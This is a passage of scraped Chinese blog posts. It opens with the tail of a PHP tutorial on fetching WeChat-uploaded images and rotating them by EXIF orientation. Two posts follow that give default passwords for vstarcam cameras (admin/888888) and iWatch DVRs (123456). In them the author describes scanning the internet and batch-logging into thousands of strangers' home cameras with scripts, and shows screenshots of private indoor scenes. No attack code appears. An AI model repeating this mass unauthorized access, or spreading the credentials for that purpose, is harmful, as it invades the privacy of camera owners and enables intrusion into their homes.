class=\"brush:php;\">include_once (\"../weixin/jssdk.php\");\r\n$jssdk = new JSSDK(\"wx**************\", \"******************************\");\r\n$access_token = $jssdk->getAccessToken();\r\n\r\n$media_id = $_POST['i'];\r\n$savePathFile = '/upload/temps/'.date('YmdHis').rand(1000,9999).'.jpg';\r\n$targetName = __DIR__.$savePathFile;\r\n\r\n$str = \"http://file.api.weixin.qq.com/cgi-bin/media/get?access_token=\".$access_token.\"&media_id=\".$media_id;\r\n$image = imagecreatefromstring(file_get_contents($str));\r\n$exif = exif_read_data($str);\r\n\r\nif(!empty($exif['Orientation'])) {\r\n switch($exif['Orientation']) {\r\n case 8:\r\n $image = imagerotate($image,90,0);\r\n break;\r\n case 3:\r\n $image = imagerotate($image,180,0);\r\n break;\r\n case 6:\r\n $image = imagerotate($image,-90,0);\r\n break;\r\n }\r\n}\r\n\r\nimagejpeg($image,$targetName);\r\necho json_encode(array(\"code\"=>0,'d'=>$exif['Orientation'],\"path\"=>$savePathFile));</pre>\r\n\u770b\u8d77\u6765\u786e\u5b9e\u6bd4\u8f83\u7b80\u5355\uff0c\u4e3b\u8981\u8fd8\u662f\u8c03\u7528\u4e86\u4e00\u4e9b\u5185\u90e8\u51fd\u6570\uff0c\u5904\u7406\u8d77\u6765\u5c31\u65b9\u4fbf\u591a\u4e86\u3002\r\n<p>\r\n\t\u8fd9\u4e2a\u9879\u76ee\u4f7f\u7528\u4e86\u5fae\u4fe1\u7684\u4e0a\u4f20\u63a5\u53e3\uff0c\u6240\u4ee5php\u9700\u8981\u4ece\u5fae\u4fe1\u7684\u4e34\u65f6\u670d\u52a1\u5668\u4e0a\u628a\u7528\u6237\u4e0a\u4f20\u7684\u56fe\u7247\u53d6\u56de\u6765\uff0c\u901a\u8fc7file_get_contents\u65b9\u6cd5\u5c31\u80fd\u5feb\u901f\u62ff\u5230\uff0c\u5f53\u7136\u4e5f\u53ef\u4ee5\u7528curl\u6765\u505a\u3002\u63a5\u7740\u4f7f\u7528imagecreatefromstring\u521b\u5efa\u4e00\u4e2a\u56fe\u7247\u7684\u7f13\u5b58\uff0c\u6b63\u5e38\u60c5\u51b5\u4e0b\u5982\u679c\u4e0d\u9700\u8981\u5bf9\u56fe\u7247\u8fdb\u884c\u5904\u7406\uff0c\u90a3\u4e48\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u76f4\u63a5\u5b58\u50a8\u4e86\uff0c\u8fd9\u91cc\u6211\u4eec\u8fd8\u9700\u8981\u5bf9\u56fe\u7247\u8fdb\u884c\u4e00\u4e9b\u64cd\u4f5c\u3002\r\n</p>\r\n<p>\r\n\t\u901a\u8fc7 exif_read_data \u65b9\u6cd5\u53ef\u4ee5\u76f4\u63a5\u8bfb\u53d6\u5230\u56fe\u7247\u7684exif\u4fe1\u606f\u3002\r\n</p>\r\n<p>\r\n\t\u6ce8\u610f\uff1aexif_read_data \u8fd9\u4e2a\u65b9\u6cd5\u662fexif\u6269\u5c55\u91cc\u9762\u7684\u65b9\u6cd5\uff0c\u5982\u679c\u4e0d\u80fd\u6267\u884c\uff0c\u8bf7\u68c0\u67e5\u6269\u5c55\u662f\u5426\u5b89\u88c5\uff0c\u662f\u5426\u5f00\u542f\u7b49\u3002\r\n</p>\r\n<p>\r\n\texif\u6a21\u5757\u91cc\u9762\u8fd8\u6709\u5f88\u591a\u6709\u610f\u601d\u7684\u65b9\u6cd5\uff0c\u53ef\u4ee5\u62ff\u6765\u505a\u5f88\u591a\u6709\u7528\u7684\u4e1c\u897f\uff0c\u6bd4\u5982\u62ff\u6765\u6279\u91cf\u91c7\u96c6\u5e76\u5206\u6790\u56fe\u7247\uff0c\u63d0\u53d6\u56fe\u7247\u4fe1\u606f\u7b49\uff0c\u8fd9\u91cc\u63a8\u8350\u4e00\u4e2a\u597d\u73a9\u7684\u7f51\u7ad9 https://exif.cn/\r\n</p>\r\n<pre class=\"brush:php;\">if(!empty($exif['Orientation'])) {\r\n switch($exif['Orientation']) {\r\n case 8:\r\n $image = imagerotate($image,90,0);\r\n break;\r\n case 3:\r\n $image = imagerotate($image,180,0);\r\n break;\r\n case 6:\r\n $image = imagerotate($image,-90,0);\r\n break;\r\n }\r\n}</pre>\r\n\u8fd9\u4e00\u6bb5\u5c31\u5f88\u5bb9\u6613\u770b\u61c2\u4e86\uff0c\u5c31\u662f\u5224\u65ad\u56fe\u7247\u7684\u65cb\u8f6c\u72b6\u6001\uff0c\u5bf9\u56fe\u7247\u8fdb\u884c\u65cb\u8f6c\u5904\u7406imagerotate\u65b9\u6cd5\u5f88\u597d\u7528\uff0c\u5f53\u7136\u540c\u7c7b\u7684\u8fd8\u6709\u597d\u591a\u51fd\u6570\uff0c\u53ef\u4ee5\u53bb\u4e86\u89e3\u4e0b\uff0c\u5982\u679c\u4f60\u6b63\u5728\u505a\u56fe\u7247\u5904\u7406\uff0c\u8fd9\u4e9b\u51fd\u6570\u5e94\u8be5\u4f1a\u6709\u5f88\u5927\u7684\u5e2e\u52a9\u3002\r\n<p>\r\n\t\u6700\u540e\u4f7f\u7528 imagejpeg \u65b9\u6cd5\u628a\u5904\u7406\u8fc7\u7684\u56fe\u7247\u5199\u5165\u5230\u78c1\u76d8\uff0c\u7136\u540e\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u8fdc\u7a0b\u5730\u5740\u7684json\u5230\u524d\u7aef\u3002\r\n</p>\r\n<p>\r\n\t\u6ce8\u610f\uff1a\u6211\u8fd9\u91cc\u6ca1\u6709\u505a\u5f02\u5e38\u6355\u83b7\uff0c\u6b63\u5e38\u60c5\u51b5\u4e0b\u6587\u4ef6io\u64cd\u4f5c\u90fd\u5fc5\u987b\u8981\u505a\u5f02\u5e38\u6355\u83b7\uff0c\u8fd9\u91cc\u7684\u4ee3\u7801\u53ea\u4e3a\u4e86\u8bf4\u660e\u4f7f\u7528\u65b9\u6cd5\uff0c\u6240\u4ee5\u7701\u7565\u4e86\u8fd9\u4e00\u6b65\u3002\r\n</p>\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u5728\u8fd9\u4e2a\u5c0f\u9879\u76ee\u4e2d\uff0c\u6700\u4e3a\u5e38\u89c1\u7684\u95ee\u9898\u5c31\u662f\u5728php\u51fd\u6570\u7684\u4f7f\u7528\u4e0a\uff0c\u540c\u4e00\u79cd\u6548\u679c\u53ef\u4ee5\u4f7f\u7528\u591a\u4e2a\u51fd\u6570\u8fdb\u884c\u5904\u7406\uff0c\u9009\u62e9\u4e00\u4e2a\u7b80\u6d01\u9ad8\u6548\u7684\u51fd\u6570\u975e\u5e38\u91cd\u8981\uff0c\u5728\u4f7f\u7528\u7b2c\u4e09\u65b9\u6269\u5c55\u7684\u65f6\u5019\u52a1\u5fc5\u786e\u8ba4\u6269\u5c55\u662f\u5426\u5b89\u88c5\uff0c\u6269\u5c55\u4f9d\u8d56\u7684\u63d2\u4ef6\u662f\u5426\u5b89\u88c5\uff0c\u662f\u5426\u5df2\u7ecf\u5f00\u542f\uff0c\u662f\u5426\u6709\u5176\u4ed6\u989d\u5916\u7684\u9644\u52a0\u6761\u4ef6\u7b49\u3002\r\n</p>\r\n<p>\r\n\t\u524d\u7aef\u65b9\u9762\u9700\u8981\u77e5\u9053\u6240\u4f7f\u7528\u7684js\u63d2\u4ef6\u6709\u90a3\u4e9b\u9644\u52a0\u529f\u80fd\uff0c\u5982\u679capi\u6587\u7ae0\u4e0d\u591f\u6e05\u6670\u53ef\u4ee5\u76f4\u63a5\u6253\u5f00\u63d2\u4ef6\u6e90\u7801\uff0c\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u4e00\u4e2a\u51fa\u8272\u7684\u63d2\u4ef6\u5f80\u5f80\u4f1a\u5728\u672a\u538b\u7f29\u7684\u4ee3\u7801\u91cc\u9762\u5199\u660e\u6240\u6709\u63a5\u53e3\u7684\u4f7f\u7528\u65b9\u6cd5\uff0c\u4ee5\u53ca\u6ce8\u610f\u4e8b\u9879\uff0c\u4f7f\u7528\u6761\u4ef6\u7b49\u3002\r\n</p>\r\n<p>\r\n\t\u6b64\u5916\uff0c\u8fd8\u9700\u8981\u5bf9\u4e0d\u5e38\u89c1\u7684\u60c5\u51b5\u8fdb\u884c\u5224\u5b9a\uff0c\u5f53\u51fa\u73b0\u4e00\u4e9b\u8be1\u5f02bug\u7684\u65f6\u5019\u5c31\u5e94\u8be5\u8003\u8651\u662f\u5426\u662f\u56e0\u4e3a\u5f53\u524d\u6240\u7ed9\u7684\u53c2\u6570\u4e0d\u7b26\u5408\u89c4\u8303\uff0c\u6216\u8005\u8d85\u51fa\u4e86\u89c4\u8303\u5141\u8bb8\u7684\u8303\u56f4\uff0c\u4e0a\u9762\u8bf4\u9053\u7684\u56fe\u7247\u8f6cbase64\u683c\u5f0f\u7684\u5927\u5c0f\u9650\u5236\u5c31\u662f\u4e00\u4e2a\u5f88\u96be\u88ab\u53d1\u73b0\u7684\u95ee\u9898\uff0c\u535a\u4e3b\u5728\u8c03\u8bd5\u7684\u65f6\u5019\u5bf9\u751f\u6210\u7684\u6570\u636e\u8fdb\u884c\u89c2\u5bdf\u624d\u53d1\u73b0\uff0c\u5f53\u51fa\u73b0\u5927\u56fe\u7684\u65f6\u5019\u5c31\u4f1a\u8f6c\u6362\u5931\u8d25\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23430 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5927\u91cfvstarcam\uff08\u5a01\u89c6\u8fbe\u5eb7\uff09\u5bb6\u7528\u6444\u50cf\u5934\u4f7f\u7528\u4e86\u9ed8\u8ba4\u5f31\u53e3\u4ee4"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-11-05, 1:53 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Web\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n\t\t\t\t\t\t\t\t\n, ", "\u9690\u79c1\u4fdd\u62a4", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u7b80\u4ecb\r\n</h2>\r\n<p>\r\n\tvstarcam\u8fdc\u7a0b\u76d1\u63a7\u6444\u50cf\u5934\u662f\u4e00\u6b3e\u5bb6\u7528\u7684\u76d1\u63a7\u8bbe\u5907\uff0c\u5b98\u7f51\u5730\u5740 http://www.vstarcam.cn/\uff0c\u8fd9\u6b3e\u8bbe\u5907\u4f7f\u7528\u4e86admin/888888\u4f5c\u4e3a\u9ed8\u8ba4\u53e3\u4ee4\uff0c\u901a\u8fc7\u626b\u63cf\u53ef\u4ee5\u53d1\u73b0\u4e92\u8054\u7f51\u4e0a\u5927\u91cf\u7684\u8bbe\u5907\u90fd\u5b58\u5728\u4f7f\u7528\u9ed8\u8ba4\u53e3\u4ee4\u7684\u95ee\u9898\u3002<br>\r\n\u5b98\u7f51\u622a\u56fe</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=517\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/a0ab1c3454909c387b2e9f72b5c1807c.png\" alt=\"dsf.png - \u5927\u5c0f: 898.41 KB - \u5c3a\u5bf8: 1211 x 887 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"660\"></a></div>\r\n\r\n<h2>\r\n\t\u53d1\u73b0\r\n</h2>\r\n<p>\r\n\t\u901a\u8fc7\u6211\u7684IP\u6570\u636e\u5e93\u68c0\u7d22\u53d1\u73b0\u5927\u7ea610000\u4e2a\u8bbe\u5907\u66b4\u9732\u5230\u4e92\u8054\u7f51\u4e2d\uff0c\u7531\u4e8e\u8fd9\u6b3e\u76d1\u63a7\u8bbe\u5907\u901a\u5e38\u7528\u4e8e\u666e\u901a\u5bb6\u5ead\uff0c\u5bb6\u5ead\u5bbd\u5e26\u5177\u6709IP\u5b9a\u671f\u66f4\u6362\u7684\u7279\u6027\uff0c\u6240\u4ee5\u6211\u8fd9\u91cc\u68c0\u7d22\u51fa\u6765\u7684\u90e8\u5206\u6570\u636e\u53ef\u80fd\u5df2\u7ecf\u8fc7\u671f\uff0c\u4f46\u662f\u8fd8\u662f\u6709\u5f88\u591a\u8bbe\u5907\u662f\u53ef\u4ee5\u767b\u5f55\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u7f16\u5199Python\u811a\u672c\u6765\u8fdb\u884c\u6279\u91cf\u767b\u5f55\u6d4b\u8bd5\u5e76\u622a\u56fe\u89c6\u9891\u56fe\u7247</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=519\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/81944d7a3280fef53b9afe29d321ba25.png\" alt=\"list.png - \u5927\u5c0f: 407.79 KB - \u5c3a\u5bf8: 966 x 948 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"884\"></a></div>\u968f\u4fbf\u4e00\u4e2a\u6bb5\u5c31\u6709\u597d\u51e0\u767e\uff0cWEB\u670d\u52a1\u901a\u5e38\u5b58\u5728\u4e8e81\u7aef\u53e3<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=518\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/302426344cdd6194c6e5b701472383c2.png\" alt=\"scan.png - \u5927\u5c0f: 122.24 KB - \u5c3a\u5bf8: 589 x 622 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"589\" height=\"622\"></a></div>\u7531\u4e8e\u8fd9\u6b3e\u8bbe\u5907\u4e3b\u8981\u662f\u5bb6\u7528\uff0c\u6240\u4ee5\u6444\u50cf\u5934\u6240\u5bf9\u7684\u4f4d\u7f6e\u4e00\u822c\u662f\u5728\u5ba4\u5185\uff0c\u800c\u4e14\u5f88\u591a\u90fd\u662f\u6bd4\u8f83\u9690\u79c1\u7684\u4f4d\u7f6e\uff0c\u5371\u5bb3\u8fd8\u662f\u6bd4\u8f83\u5927\u7684\uff0c\u968f\u4fbf\u627e\u51e0\u4e2a\u6848\u4f8b\u622a\u56fe\u5427<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=520\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/23e5e901298736330a92abb39177458c.png\" alt=\"shafa6.png - \u5927\u5c0f: 111.12 KB - \u5c3a\u5bf8: 341 x 195 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"341\" height=\"195\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=521\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/d13e62e2af07bd0261a85906c6080cc5.png\" alt=\"shafa5.png - \u5927\u5c0f: 245.62 KB - \u5c3a\u5bf8: 486 x 354 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"486\" height=\"354\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=522\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/a230a2123950578e49f5c0868eef3f1f.png\" alt=\"shuang3.png - \u5927\u5c0f: 87.06 KB - \u5c3a\u5bf8: 333 x 193 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"333\" height=\"193\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=523\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/6b5a14fc0351a9263005f3b3e26eb24e.png\" alt=\"dating2.png - \u5927\u5c0f: 73.49 KB - \u5c3a\u5bf8: 333 x 202 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"333\" height=\"202\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=524\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/6d9f8e05f7417c52dae74bb7b8e84bb1.png\" alt=\"shuang2.png - \u5927\u5c0f: 250.47 KB - \u5c3a\u5bf8: 477 x 360 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"477\" height=\"360\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=525\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/1f108ffdfcb84f9a39919a3395137b80.png\" alt=\"shafa2.png - \u5927\u5c0f: 351.38 KB - \u5c3a\u5bf8: 636 x 357 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"636\" height=\"357\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=526\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/863bb6103a07c9f2fa3098c71f4161e3.png\" alt=\"keting.png - \u5927\u5c0f: 117.29 KB - \u5c3a\u5bf8: 335 x 194 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"335\" height=\"194\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=528\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/232773ad369ef314f317d757280f13ba.png\" alt=\"chuang.png - \u5927\u5c0f: 102.33 KB - \u5c3a\u5bf8: 331 x 196 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"331\" height=\"196\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=527\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/890c587b5d590a112a8234d0986a349c.png\" alt=\"shafa.png - \u5927\u5c0f: 113.89 KB - \u5c3a\u5bf8: 338 x 191 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"338\" height=\"191\"></a></div>\u800c\u4e14\u8fd9\u4e2a\u6444\u50cf\u5934\u8fd8\u53ef\u4ee5\u8fdc\u7a0b\u8f6c\u52a8\u955c\u5934\u65b9\u5411<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=529\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/058989c16ae94dae06f7f35a03b3599e.png\" alt=\"up.png - \u5927\u5c0f: 270.53 KB - \u5c3a\u5bf8: 702 x 624 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"702\" height=\"624\"></a></div>\r\n\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u73b0\u5728\u5bb6\u7528\u6444\u50cf\u5934\u8d8a\u6765\u8d8a\u666e\u53ca\uff0c\u4f46\u662f\u5b89\u5168\u95ee\u9898\u771f\u7684\u4e0d\u80fd\u5ffd\u89c6\uff0c\u5404\u79cd\u8273\u7167\u95e8\u4e8b\u4ef6...\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23429 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5927\u91cfiWatch DVR\u4f7f\u7528\u4e86\u9ed8\u8ba4\u5f31\u53e3\u4ee4"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-11-03, 10:37 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u4fe1\u606f\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u901a\u4fe1\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n\t\t\t\t\t\t\t\t\n, ", "\u9690\u79c1\u4fdd\u62a4", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u7b80\u4ecb\r\n</h2>\r\n<p>\r\n\tiWatch DVR \u662f\u4e00\u6b3eH.264\u8fdc\u7a0b\u76d1\u63a7\u8bbe\u5907....\r\n</p>\r\n<p>\r\n\t\u55ef\uff0c\u535a\u4e3b\u6211\u5e76\u6ca1\u6709\u627e\u5230\u5173\u4e8e\u8fd9\u6b3e\u8bbe\u5907\u7684\u8be6\u7ec6\u4ecb\u7ecd\u3002\r\n</p>\r\n<h2>\r\n\t\u6848\u4f8b\r\n</h2>\r\n<p>\r\n\t\u901a\u8fc7\u6211\u7684IP\u6570\u636e\u5e93\u8fdb\u884c\u68c0\u7d22\uff0c\u53d1\u73b0\u4e86\u5927\u91cf\u7684\u4e3b\u673a\u5b58\u5728</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=510\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/14cbb52433c1cd4a5a73ed5d183eaa71.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-03t01-47-52.441z.png - \u5927\u5c0f: 217.88 KB - \u5c3a\u5bf8: 604 x 619 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"604\" height=\"619\"></a></div>\u968f\u4fbf\u8bbf\u95ee\u4e00\u4e2a\u4e3b\u673a\uff0c\u53d1\u73b0\u662f401\u8ba4\u8bc1\u767b\u5f55<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=511\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/3462ef29f569eddc3bdaf2634b0a7227.png\" alt=\"2016-11-03 09-56-57\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 24.63 KB - \u5c3a\u5bf8: 666 x 352 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"666\" height=\"352\"></a></div>\u767b\u5f55\u6210\u529f\u4e4b\u540e\u662f\u8fd9\u6837\u7684<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=512\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/978f8e43f79b18061d54cb0489649041.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-03t01-59-16.687z.png - \u5927\u5c0f: 44.58 KB - \u5c3a\u5bf8: 928 x 339 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"329\"></a></div>\u53ef\u4ee5\u5728\u7ebf\u67e5\u770b\u89c6\u9891<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=514\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/2ce373d565ba989e9f509260d14371e7.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-03t02-02-44.216z.png - \u5927\u5c0f: 115.09 KB - \u5c3a\u5bf8: 488 x 355 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"488\" height=\"355\"></a></div>\u8fd9\u6b3e\u6444\u50cf\u673a\u7684web\u670d\u52a1\u5927\u591a\u5b58\u5728\u4e8e80\u7aef\u53e3\uff0c\u9ed8\u8ba4\u5bc6\u7801123456\uff0c\u7f16\u5199\u811a\u672c\u6279\u91cf\u9a8c\u8bc1\u767b\u5f55\u5f97\u52303500\u591a\u4e2a\u53ef\u767b\u5f55\u6848\u4f8b<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=513\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/099aed7d52b0a7f04bdbb81963d81e87.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-03t02-00-02.808z.png - \u5927\u5c0f: 185.95 KB - \u5c3a\u5bf8: 724 x 505 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"724\" height=\"505\"></a></div>\r\n\r\n<h2>\r\n\t\u622a\u56fe\r\n</h2>\r\n<p>\r\n\t\u53ea\u68c0\u6d4b\u767b\u5f55\u591a\u6ca1\u610f\u601d\uff0c\u8fd9\u4e2a\u6444\u50cf\u5934\u6700\u597d\u7684\u529f\u80fd\u81ea\u7136\u5c31\u662f\u5728\u7ebf\u9884\u89c8\u529f\u80fd\u4e86\uff0c\u4e0a\u811a\u672c\u6279\u91cf\u83b7\u53d6\u76d1\u63a7\u622a\u56fe\uff0c\u770b\u56fe</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=515\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/ee7fe18d125158f41a3169fe34ae6503.png\" alt=\"2016-11-03 10-54-27\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 673.67 KB - \u5c3a\u5bf8: 1723 x 1006 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"526\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=516\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/72dc173f127c2437ffe3107965db0a25.png\" alt=\"2016-11-03 10-54-40\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 1 MB - \u5c3a\u5bf8: 1726 x 1009 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"527\"></a></div>PS\uff1a\u6253\u7801\u662f\u56e0\u4e3a\u628aIP\u4f5c\u4e3a\u6587\u4ef6\u540d\u3002\r\n\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u6211\u7adf\u65e0\u8bed\u51dd\u564e\uff0c\u540e\u9762\u6211\u4f1a\u7ee7\u7eed\u653e\u51fa\u66f4\u591a\u76d1\u63a7\u6444\u50cf\u5934\u7684\u95ee\u9898\u3002\r\n</p>\r\n<p>\r\n\t\u7ea2\u725b\uff1a\u88c5\u903c\u7684\u80fd\u91cf\uff0c\u8d85\u4e4e\u6211\u7684\u60f3\u8c61\uff01\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23428 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning 